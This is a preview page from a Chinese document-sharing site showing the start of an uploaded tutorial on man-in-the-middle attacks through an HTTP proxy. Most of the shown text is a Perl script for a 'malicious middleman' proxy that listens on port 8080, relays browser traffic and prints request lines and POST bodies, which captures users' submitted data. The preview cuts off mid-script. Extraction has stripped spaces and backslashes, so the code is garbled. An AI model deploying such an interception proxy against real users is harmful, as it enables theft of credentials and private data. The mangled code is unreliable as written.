欢迎来到天天文库
浏览记录
ID:37468673
大小:40.00 KB
页数:7页
时间:2019-05-24
《代理中间人攻击技术》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、代理中间人攻击技术前言: 说起“中间人攻击(man-in-the-middle-attacks,简称:mitm攻击)”大家可能马上想起曾经风靡一时的smb会话劫持,dns欺骗等技术,这些都是典型的mitm攻击手段。其实mitm攻击说它是一种手段,不如说它是一种攻击模式,它可以应用于各个领域,比如在现实中,a通过b给c传话,那么b在传话给c的时候,可以夸大其词,也可以填油加醋后传给c,在这个过程中中间人b无意中就来一次mitm攻击,其实“谣言”就是这么来的j.具体在网络安全方面,mitm攻击应用也很广泛,下面我就以http协议代理来介绍下代理里mitm攻击。一.原理代理服务的
2、一个典型模型: client <<-data-> proxyserver <ßdata->webserver middleman上面可以看出:client发出的请求和webserver返回的数据都经过proxyserver转发,这个proxyserver就起到了一个middleman的作用,如果这个“中间人”够黑,那么整个代理过程的数据都可以由这个“中间人”控制。二.攻击类型截取敏感数据代码注射proxpworm其他利用 三.实例说明1. 截取敏感数据首先我们编写一个“恶意的中间人”代理程序:====
3、=========================codzstart===============================#!/usr/bin/perl#proxymid-man-atktestscriptusestrict;useuri;useio::socket;my$showopenedsockets=1;my$server=io::socket::inet->new( localport=>8080, type =>sock_stream, reuse =>1, listen =>10);binmode$server;while(my$browser=
4、$server->accept()){print"--------------clint提交数据-------------------";binmode$browser;my$method ="";my$content_length =0;my$content =0;my$accu_content_length=0;my$host;my$hostaddr;my$httpver;while(my$browser_line=<$browser>){ unless($method){ ($method,$hostaddr,$httpver)=
5、$browser_line=~/^(w+)+(s+)+(s+)/; my$uri=uri->new($hostaddr); $host=io::socket::inet->new( peeraddr=>$uri->host, peerport=>$uri->port); die"couldntopen$hostaddr"unless$host; if($showopenedsockets){ print"opened".$uri->host.",port".$uri->port.""; } binmode$host; print$host
6、"$method".$uri->path_query."$httpver"; print"$method".$uri->path_query."$httpver"; next; } $content_length=$1if $browser_line=~/content-length:+(d+)/i; $accu_content_length+=length$browser_line; print$browser_line; print$host$browser_line; lastif$browser_line=~/^s*$/and$methodnepo
7、st; if($browser_line=~/^s*$/and$methodeq"post"){ $content=1; lastunless$content_length; next; } if($content){ $accu_content_length+=length$browser_line; lastif$accu_content_length>=$content_length; }}print"................serve返回数据.............
此文档下载收益归作者所有